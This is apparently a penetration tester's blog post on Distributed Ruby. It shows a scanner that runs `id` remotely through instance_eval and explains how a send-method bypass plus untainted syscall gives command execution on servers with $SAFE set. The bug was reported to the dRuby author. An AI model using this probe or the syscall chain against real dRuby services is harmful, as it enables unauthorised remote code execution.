dRuby for Penetration Testers
I like Ruby somehow, a nice and shiny programming language. At some point last year, I decided to have a closer look at 'Distributed Ruby' (also called dRuby). dRuby is all about easily usable objects and method invocations over the network.
So no long words: let's just drop into some simple dRuby server code:
01 require 'drb/drb' 02 URI="druby://localhost:8787" 03 class TimeServer 04 def get_current_time 05 return Time.now 06 end 07 end 08 FRONT_OBJECT=TimeServer.new 09 $SAFE = 1 # disable eval() and friends 10 DRb.start_service(URI, FRONT_OBJECT) 11 DRb.thread.join
Lines 03 to 07 define a class TimerServer with the method get_current_time. All the magic happens in line 10 where the dRuby service is started along with the TimeServer class as exposed Object. You'll probably have noticed line 09 where it says $SAFE = 1. This nifty variable turns on tainting and should disallow you from calling arbitrary code on the server side (that's basically what the documentation says). No worries, we'll come back later to circumventing $SAFE.
But first, let's look at the client side. Using this service would be as simple as:
01 require 'drb/drb' 02 SERVER_URI="druby://localhost:8787" 03 DRb.start_service 04 timeserver = DRbObject.new_with_uri(SERVER_URI) 05 puts timeserver.get_current_time
So here after starting the dRuby service in line 03, and getting a remote object in line 04, we can simply call methods of that object over the wire. This is done in line 05. That's all what's needed for a dRuby client.
Now let's start building a more useful client. Namely a scanner for $SAFE being set.
01 #!/usr/bin/ruby 02 require 'drb/drb' 03 04 # The URI to connect to 05 SERVER_URI= ARGV 06 07 DRb.start_service 08 undef :instance_eval 09 t = DRbObject.new_with_uri(SERVER_URI) 10 11 begin 12 a = t.instance_eval("`id`") 13 puts "[*] eval is enabled - you are:" 14 puts a 15 rescue SecurityError => e 16 puts "[*] sorry, eval is disabled" 17 rescue => e 18 puts "[*] likely not a druby port" 19 end
This scanner cheks remotely if the developer forgot to set $SAFE. It will tell you the ID of the user running the dRuby service. Of course you are free to alter this in order to do more fun stuff with the server, or you could just use the respective Metasploit module.
But now back from shiny Ruby world to some Bughunting. So: what could possibly go wrong when pushing serialized objects back and forth on the wire?
My first attempts of poking around in dRuby with $SAFE set were as follows:
01 require 'drb/drb' 02 SERVER_URI="druby://localhost:8787" 03 DRb.start_service 04 t = DRbObject.new_with_uri(SERVER_URI) 05 t.eval("`id`")
Here in line 05 I tried to call eval on the remote object. Unfortunately this resulted in the following error:
NoMethodError: private method `eval' called for #<TimeServer:0xb7821a88>:TimeServer
During playing around further with dRuby, and looking further into the source, I found the following piece of code in drb/drb.rb:
# List of insecure methods. # # These methods are not callable via dRuby. INSECURE_METHOD = [ :__send__ ]
Here, __send__ gets blacklisted from being called via dRuby. However, and unfortunately, there's also an existing send method, as described in the Ruby documentation:
obj.send(symbol [, args...]) -> obj obj.__send__(symbol [, args...]) -> obj Invokes the method identified by symbol, passing it any arguments specified. You can use __send__ if the name send clashes with an existing method in obj.
This very send method should give us the ability to call private methods on the object as follows:
This somehow worked but we run into another error:
SecurityError: Insecure operation - eval
I tried various functions taken from the class Object and the Kernel module; but all interesting functions were caught by a SecurityError. Wait a minute, really all of them? No, one little function was still willing to execute - and that function is syscall. So basically, we get free remote syscalls on the server side. When I reported this to the dRuby author, turns out, tainting (which causes the SecurityError) was forgotten for syscalls.
In order to exploit this issue properly, we need a rather simple combination of syscalls to gain arbitrary command execution:
- open() or creat() a file with permissions 777
- write() some Ruby code to it
- close() the file
- fork() so that the dRuby service keeps running
- execve() the just created file
If you take a closer look at the Metasploit module, you'll see a neat little trick i came up with: At first, when connecting, it's not possible to decide whether we are on a 32 Bit or 64 Bit target system. Additionally the syscall numbers are different for those two versions of Linux. So i choose syscall 20, which is getpid() on 32bit systems, on 64bit systems it's syscall writev(). So when we call this syscall with no arguments, it should succeed on 32bit systems. On 64bit systems, it will raise an error due to missing arguments. We can then catch this error and use our 64bit syscall numbers.
Last but not least, a short disclaimer: Both aforementioned modules might not work as exepected on different Ruby versions, as some of these have been patched (by turning on tainting), and some won't have syscall implemented at all. The modules have been tested and found to work with the exploit with the following versions or Ruby: Ruby 1.8.7 patchlevel 249; Ruby 1.9.0; Ruby 1.9.1 patchlevel 378 (all running on Linux 32 Bit systems). Tested as well and found vulnerable has been the 64 Bit version on Ubuntu 10.10 with both ruby1.8 and ruby1.9 packages.